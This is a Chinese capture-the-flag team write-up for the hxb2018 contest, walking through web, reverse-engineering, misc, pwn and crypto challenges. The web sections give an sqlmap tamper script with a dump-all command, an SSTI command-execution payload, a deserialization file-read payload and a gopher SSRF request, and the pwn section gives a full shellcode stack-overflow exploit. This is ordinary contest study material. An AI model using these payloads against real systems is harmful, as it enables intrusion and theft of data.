By DWN战队
web这块基本都是原题,仅作参考。
差一题pwn200 AK。
签到题 SingIn Welcome
WEB Code Check
访问是一个登陆页面,查看源码有一个链接。
news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09
尝试注入,一直返回数据库错误。
然后在news目录下发现源码list.zip
<?php // header('content-type:text/html;charset=utf-8'); // require_once '../config.php'; //解密过程 function decode($data){ $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021'); $data = mdecrypt_generic($td,base64_decode(base64_decode($data))); mcrypt_generic_deinit($td); mcrypt_module_close($td); if(substr(trim($data),-7)!=='hxb2018'){ echo '<script>window.location.href="/index.php";</script>'; }else{ return substr(trim($data),0,strlen(trim($data))-7); } } $id=decode("b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09"); echo $id; // $sql="select id,title,content,time from notice where id=$id"; // $info=$link->query($sql); // $arr=$info->fetch_assoc(); // ?> // <!DOCTYPE html> // <html lang="en"> // <head> // <meta charset="UTF-8"> // <title>X公司HR系统V1.0</title> // <style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style> // </head> // <body> // <div class="body"> // <div class="title"><?php echo $arr['title']?></div> // <div class="content"><?php echo $arr['content']?></div> // </body> // </html>
b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09就是1加密过的。
需要逆推一下这个函数。
function encode($data){ $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021'); $data = $data .'hxb2018'; $data = mcrypt_generic($td,$data); $data=base64_encode(base64_encode($data)); mcrypt_generic_deinit($td); mcrypt_module_close($td); // echo substr(trim($data),0,strlen(trim($data))-7); echo $data; }
然后将我们的payload直接加密然后注入。
由于比较麻烦,tamper省事一点
hxb.py
#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import base64 from Crypto.Cipher import AES from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST def dependencies(): pass def encrypt(text): padding = '' key = 'ydhaqPQnexoaDuW3' iv = '2018201920202021' pad_it = lambda s: s+(16 - len(s)%16)*padding cipher = AES.new(key, AES.MODE_CBC, iv) text = text + 'hxb2018' return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text)))) def tamper(payload, **kwargs): return encrypt(payload)
很多人没注意notice2
直接一把嗦:
sqlmap -u "http://47.107.236.42:49882/news/list.php?id=1" --tamper hxb.py --dump-all -T "notice,notice2,stormgroup_member" -D mozhe_discuz_stormgroup
WEB XmeO
没啥好说的,基本的SSTI
直接找xss bot源码
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat //home/XmeO/auto.js").read()' )
hh
WEB MyNote
注册一个账号,发现可以上传。
查看上传的图片
有一个picture的cookie
数组的反序列化读取文件。
robots.txt可以知道存在flag.php
payload:
$wing[] = '../../flag.php'; echo urlencode(base64_encode(serialize($wing)));
发送过去,看到了data协议的数据。
解码
WEB ReadFIle
这题也没什么考点,emmm。
file协议可以读取到文件。
首先发现ssrf目录下的web.php
出题人原意可能是想让我们用gopher打。
但是源码里面有一个这个:/var/www/html/ssrf/readflag
$ip = $_SERVER['REMOTE_ADDR']; if(isset($_POST['user'])){ if($_POST['user']=="admin" && $ip=="127.0.0.1"){ system("/var/www/html/ssrf/readflag"); } }
curl 保存到本地。
用ida分析一下
flag在ssrf目录…..
gopher参考:
%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%38%30%2f%5f%50%4f%53%54%20%2f%73%73%72%66%2f%77%65%62%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%25%30%64%25%30%61%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%36%25%30%64%25%30%61%55%73%65%72%2d%41%67%65%6e%74%3a%20%63%75%72%6c%2f%37%2e%34%33%2e%30%25%30%64%25%30%61%41%63%63%65%70%74%3a%20%2a%2f%2a%25%30%64%25%30%61%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%31%30%25%30%64%25%30%61%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%64%25%30%61%25%30%64%25%30%61%75%73%65%72%3d%61%64%6d%69%6e
这次的re难度不是太大……但是re2和re3都有点偏门,不太硬核233 但也挺有意思的
Replace
upx -d脱壳,然后是一个比普通签到略复杂一点的签到题,没什么好说的
要求table[input[i]] == atoi(data[2*i]+data[2*i+1])^0x19
table = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16] s = bytes.fromhex("2a49f69c38395cde96d6de96d6f4e025484954d6195448def6e2dad67786e21d5adae6") for i in range(len(s)): v = table.index(s[i]^0x19) print(chr(v), end='')
HighwayHash64
从题目和描述的Hash,以及输入提示的
Note:hxb2018{digits}
就可以猜到,这估计是个爆破Hash的题目
看了一下hash函数中初始化结构体的部分跟md5不同,查了也没有信息,所以可能是自定义的哈希算法
刚开始尝试了一下扒代码到编译器中复现,然而有很多ROL的宏定义,比较麻烦,所以直接调用该函数是比较方便的
调用函数有两种方法,一种是写一个dll注入到exe中进行调用,另一种则是将该exe直接改成dll,另外写一个exe来调用
前者日后再尝试吧,相对而言感觉要复杂一些
后者只需要将exe的PE头中的标志位修改,再通过RVA(Relative Virtual Address)获取函数地址即可
具体方法为,首先通过十六进制编辑器修改PE头
这里使用010Editor一类的工具会比较方便
- NtHeader
- Characteristics
- IMAGE_FILE_DLL标志位
- Characteristics
将该位改为1即可通过LoadLibrary调用
typedef __int64(__fastcall *f)(__int64 buff, unsigned __int64 len); int main() { HINSTANCE hdll; hdll = LoadLibrary(TEXT("F:\ctf\hxb\2018\reverse.dll")); if (hdll == NULL) { printf("Load dll Error: %dn", GetLastError()); return 0; } printf("Dll base is %llxn", hdll); func = ((f)((char*)hdll + 0x17A0)); }
注意编译的时候由于dll是x64的,因此exe理应也是用x64的
以及这里的函数声明需要使用__fastcall的调用约定,因为从汇编可以看出来
mov edx, 4 mov [rsp+158h+var_138], eax lea rcx, [rsp+158h+var_138] call hash
传参使用的rcx和rdx,如果用其他调用约定的话通常会用栈传参
IDA其实是已经识别出来的
返回值则需要自己根据内容看出来,向rax放了一个int64的值
mov rax, qword ptr [rsp+0C8h+md5_struct] add rax, qword ptr [rsp+0C8h+md5_struct+20h] add rax, qword ptr [rsp+0C8h+md5_struct+40h] add rax, qword ptr [rsp+0C8h+md5_struct+60h]
这里IDA是识别错误的
接下来就可以直接使用该函数来爆破了
do ++len; while ( Dst[len] ); v7 = len; if ( hash((__int64)&v7, 4ui64) != (char *)0xD31580A28DD8E6C4i64 )
第一次hash使用的是len的地址,也就是把长度视作一个4字节的char数组来进行hash
因此我们首先要算出flag的长度
爆破的时候也提供一个int的空间即可
void len() { int i; unsigned long long result; for (i = 0;i<50; i++) { result = func((long long )&i, 4); if (result == 0xD31580A28DD8E6C4) { printf("Len is %dn", i-9); return ; } } printf("Not found the lenn"); return; }
很快可以得出i=19,然后掐去前后的格式字符共9个,即可知道中间的内容是十个十进制数了
接下来可以通过sprintf快速制作10个字节的十进制数,然后穷举
void hash() { unsigned long long i; unsigned long long result; char buff[20]; for (i = 0; i < 10000000000; i++) { sprintf_s(buff, "%0.10llu", i); if (i % 100000 == 0) { printf("%0.10llun", i); } result = func((long long)buff, 10); if (result == 0x7CDCCF71350B7DB8) { //5203614978 printf("flag is %lldn", i); return; } } }
赛后交流了一下,flag的hash是不一样,所以复现的时候需要自己改一下
More efficient than JS
题目文件下载下来就能看到一个wasm,再结合题目,很显然又是WebAssembly逆向……越来越多的出题人开始搞这东西了orz
目前Chrome和Firefox都没有针对它出好用的调试器,只能用js的调试器凑活看,所以我的经验就是直接动调,用wabt组件反编译出的c和wat来辅助分析
运行了一下直接在fetch的地方报错,让队里师傅给搭了个http环境才能跑起来
以往的wasm题目都是在html中调用函数,这次找了一圈也没有看到
跑起来以后什么都不显示直接弹窗,估计是js中的代码,于是根据提示内容”Input:”找到了这里
在这下断,然后刷新果然断到了,但是接着单步跟下去就会进到一个死循环里
这个循环执行完以后又会回到弹窗里,于是有点懵逼
(动态调试和静态分析的相关技巧可以在我前两天的博客中找到)
后来在wat里发现了一个函数的名字叫做_main
果断下断,发现刷新页面以后会先执行wasm中的_main函数,然后到f98的调用时开始弹窗,点击取消以后会继续执行
再往后两个调用,到f42的时候注意它的参数执行完后会取出值,返回值则是len
然后在f22的5个参数中就可以发现各种有趣的东西了,注释如下
其中f22是核心的加密函数,在里面不断地单步跟,有选择地跳过
(其实最关键的就是几个循环中的i32_load),看它们从哪里取值以及取出来的是什么值即可
个人认为wasm的关键在于跟随数据而不是代码(因为代码太恶心了orz)
中间可以看到根据key去往后table中取值,但是最后与输入有关的只是异或,因此可以输入一串0,从而得到异或的值
然后从f23中的一个循环中使用的地址得到结果数组,最后异或求解即可
input = [[137, 221, 46, 119, 76, 156, 92, 92, 137, 215, 225, 85, 132, 233, 53, 206, 231, 78, 160, 89, 133, 178, 65, 60, 63, 29, 11, 164, 233, 71, 5, 192, 227, 190, 31, 178, 177, 218, 213, 38, 217, 39, 137, 164, 117, 224]] output = [223, 129, 127, 32, 7, 196, 13, 28, 201, 158, 142, 23, 215, 237, 120] for i in range(len(output)): print(chr(input[i]^ord('0')^output[i]),end='')
flag{happy_rc4}
从这个flag来看算法应该是rc4,也比较负责动调中感觉到的,根据key变换table然后取table的值和明文异或
因为这个算法的特性所以也可以理解为和密钥流异或23333
MISC Hidden Write
010看到3个ihdr和iend,分别抠出来,补齐png头89 50 4E 47 0D 0A 1A 0A
后面的两个图片存在盲水印,解出来得到flag最后一段
文件结尾字符串得到flag中间一段
然后是一个lsb隐写找到flag的第一段
MISC Flow
首先跑wifi密码,开始跑8位数字没跑出来,于是换了一个wpa常用密码的字典去跑,秒出结果orz
参考:https://xz.aliyun.com/t/1972
解密流量,然后跟踪tcp流,得到flag
MISC Disk
用winimage打开看到4个flag.txt
提取后看到是一堆01串,脚本解一下
PWN Regex Format
保护全无,所以做法有很多了,我的思路是往bss上写shellcode,然后栈溢出劫持控制流到我布置好的shellcode上。
这题比较烦的就是逆向部分了吧,首先读取regex format到.data的aBeforeUseItUnd变量后,这是做正则表达式的。然后读取一个字符串到bss上,是正则表达式匹配的对象。
程序首先会在0x08048680处的函数对正则表达式进行一个解析,比较烦的是,前面的内容是固定的Before :use$ it, :understand$* it :first$+.,即aBeforeUseItUnd变量
一顿操作后将正则表达式分成了好几段,我们gdb看下
然后这里进行循环去匹配每段正则表达式
不过sub_8048930的第3个参数为s,而s是char s; // [esp+474h] [ebp-D4h],那这里就可以去进行一个栈溢出操作了,去这个函数看看
可以看到,只要正则匹配,程序就会一直进行一个赋值操作,将bss上的数据赋值给栈上的s,于是问题就是如果使这个正则一直匹配下去。很简单,我们把bss上要写的内容放进去就行了嘛。
经过一顿调试后,最终写出了如下exp
完整exp:
#-*- coding: utf-8 -*- from pwn import * __author__ = '3summer' s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data)) st = lambda delim,data :io.sendthen(str(delim), str(data)) sl = lambda data :io.sendline(str(data)) sla = lambda delim,data :io.sendlineafter(str(delim), str(data)) slt = lambda delim,data :io.sendlinethen(str(delim), str(data)) r = lambda numb=4096 :io.recv(numb) ru = lambda delims, drop=True :io.recvuntil(delims, drop) irt = lambda :io.interactive() uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) def dbg(breakpoint): glibc_dir = '/usr/src/glibc/glibc-2.23/' gdbscript = '' gdbscript += 'directory %smallocn' % glibc_dir gdbscript += 'directory %sstdio-common/n' % glibc_dir gdbscript += 'directory %sstdlib/n' % glibc_dir gdbscript += 'directory %slibion' % glibc_dir elf_base = int(os.popen('pmap {}| awk 27{{print 241}}27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0 gdbscript += 'b *{:#x}n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint log.info(gdbscript) gdb.attach(io, gdbscript) def exploit(local): _nop = asm(shellcraft.nop()) _sh = asm(shellcraft.sh()) _re = 'Before use$ it, understand$* it first$+.' _sh_addr = 0x0804A24C+0xd4+12*4 sla('formatn', ':'+p32(_sh_addr)+_nop+_sh.replace('$', '')+'$*') sla('matchn', _re.ljust(0xd4, _nop) + p32(_sh_addr)*12 + _sh) sl('n') sl('./flag') irt() if __name__ == '__main__': binary_file = './pwn1' context.binary = binary_file context.terminal = ['tmux', 'sp', '-h', '-l', '110'] context.log_level = 'debug' elf = ELF(binary_file) if len(sys.argv) > 1: io = remote(sys.argv[1], sys.argv[2]) # libc = ELF('./libc.so.6') exploit(False) else: io = process(binary_file) libc = elf.libc exploit(True)
PWN Hash Burger
Get原题一枚,exp拿下来,改下ip,端口,libc路径,直接打
Crypto Common Crypto
很明显有两个函数与加密相关
key_generate函数中对key_struct的前16个字节进行了赋值,也就是128位的key
然后在之后与一个数组—搜索之后可以发现它是AES的SBox,进行异或,产生了轮密钥
然后在下一个函数,AES_encrypt中进行了明文和key_struct的运算
AES的特征是十轮运算、每轮进行字节替换、行移位、列混淆、轮密钥加,最后一轮缺少轮密钥加
所以要不是在十轮循环中有一个判断,要不就是九轮循环+额外三个步骤
函数内是满足这样的流程的
使用AES进行加密与动调获得的结果可以互相验证
sprintf调用了32次,而加密的结果只有16个字节,因此结果字符串中前32个字符为密文,后32个字符为明文的hex_encode
前半段进行解密、后半段则hex_decode即可
from Cryptodome.Cipher import AES key = bytes.fromhex("1b2e3546586e72869ba7b5c8d9efff0c") aes = AES.new(key, AES.MODE_ECB) plain = aes.decrypt(bytes.fromhex("4dd78cfbcfc1dbd9e8f31715bf9c3464")) print(plain) print(bytes.fromhex("35316565363661623136353863303733"))
Good Job!
发表评论
您还未登录,请先登录。
登录